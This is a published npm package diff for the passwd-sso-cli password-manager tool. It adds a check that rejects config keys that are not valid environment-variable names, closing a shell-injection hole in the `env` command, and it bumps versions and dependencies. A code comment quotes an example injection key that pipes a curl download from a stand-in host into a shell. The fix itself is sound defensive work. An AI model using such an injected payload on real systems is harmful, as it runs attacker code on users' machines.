passwd-sso-cli 0.4.71 → 0.4.72
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/lib/secrets-config.js +20 -0
- package/package.json +3 -3
|
@@ -20,6 +20,25 @@ import { validateServerUrl } from "./oauth.js";
|
|
|
20
20
|
function isPlaceholderEntryId(entryId) {
|
|
21
21
|
return entryId === "dummy-entry-id" || /^<[^>]+>$/.test(entryId);
|
|
22
22
|
}
|
|
23
|
+
// Config keys become env-var NAMES emitted as `export ${key}=...` / `${key}=...`
|
|
24
|
+
// by the `env` command, which is documented for `eval $(passwd-sso env)` and
|
|
25
|
+
// `source`. An unvalidated key is a shell-injection sink: a key like
|
|
26
|
+
// `SAFE; curl evil|sh #` would execute arbitrary commands when eval'd. Restrict
|
|
27
|
+
// keys to POSIX-portable env-var names — the character class excludes every
|
|
28
|
+
// shell metacharacter, so no injection payload can pass. JS `$` (no `m` flag)
|
|
29
|
+
// matches only end-of-input, so a trailing newline cannot slip through either.
|
|
30
|
+
const ENV_NAME_RE = /^[A-Za-z_][A-Za-z0-9_]*$/;
|
|
31
|
+
const MAX_ENV_NAME_LENGTH = 128;
|
|
32
|
+
function assertValidEnvName(envName) {
|
|
33
|
+
if (envName.length > MAX_ENV_NAME_LENGTH) {
|
|
34
|
+
throw new Error(`Secret mapping key is too long (max ${MAX_ENV_NAME_LENGTH} characters).`);
|
|
35
|
+
}
|
|
36
|
+
if (!ENV_NAME_RE.test(envName)) {
|
|
37
|
+
// Do NOT echo the raw key — it may carry an injection payload.
|
|
38
|
+
throw new Error("Secret mapping key must be a valid environment variable name " +
|
|
39
|
+
"(letters, digits, underscore; not starting with a digit).");
|
|
40
|
+
}
|
|
41
|
+
}
|
|
23
42
|
export function loadSecretsConfig(configPath) {
|
|
24
43
|
const filePath = configPath
|
|
25
44
|
? resolve(configPath)
|
|
@@ -33,6 +52,7 @@ export function loadSecretsConfig(configPath) {
|
|
|
33
52
|
throw new Error("Config file must have a 'secrets' field.");
|
|
34
53
|
}
|
|
35
54
|
for (const [envName, mapping] of Object.entries(parsed.secrets)) {
|
|
55
|
+
assertValidEnvName(envName);
|
|
36
56
|
if (!mapping || typeof mapping !== "object") {
|
|
37
57
|
throw new Error(`Secret mapping for '${envName}' must be an object.`);
|
|
38
58
|
}
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "passwd-sso-cli",
|
|
3
|
-
"version": "0.4.
|
|
3
|
+
"version": "0.4.72",
|
|
4
4
|
"description": "CLI for passwd-sso password manager",
|
|
5
5
|
"type": "module",
|
|
6
6
|
"license": "MIT",
|
|
@@ -18,7 +18,7 @@
|
|
|
18
18
|
"ssh-agent"
|
|
19
19
|
],
|
|
20
20
|
"engines": {
|
|
21
|
-
"node": ">=
|
|
21
|
+
"node": ">=24"
|
|
22
22
|
},
|
|
23
23
|
"bin": {
|
|
24
24
|
"passwd-sso": "./dist/index.js"
|
|
@@ -39,7 +39,7 @@
|
|
|
39
39
|
},
|
|
40
40
|
"dependencies": {
|
|
41
41
|
"bcrypt-pbkdf": "^1.0.2",
|
|
42
|
-
"chalk": "^
|
|
42
|
+
"chalk": "^6.0.0",
|
|
43
43
|
"cli-table3": "^0.6.5",
|
|
44
44
|
"clipboardy": "^5.3.1",
|
|
45
45
|
"commander": "^15.0.0",
|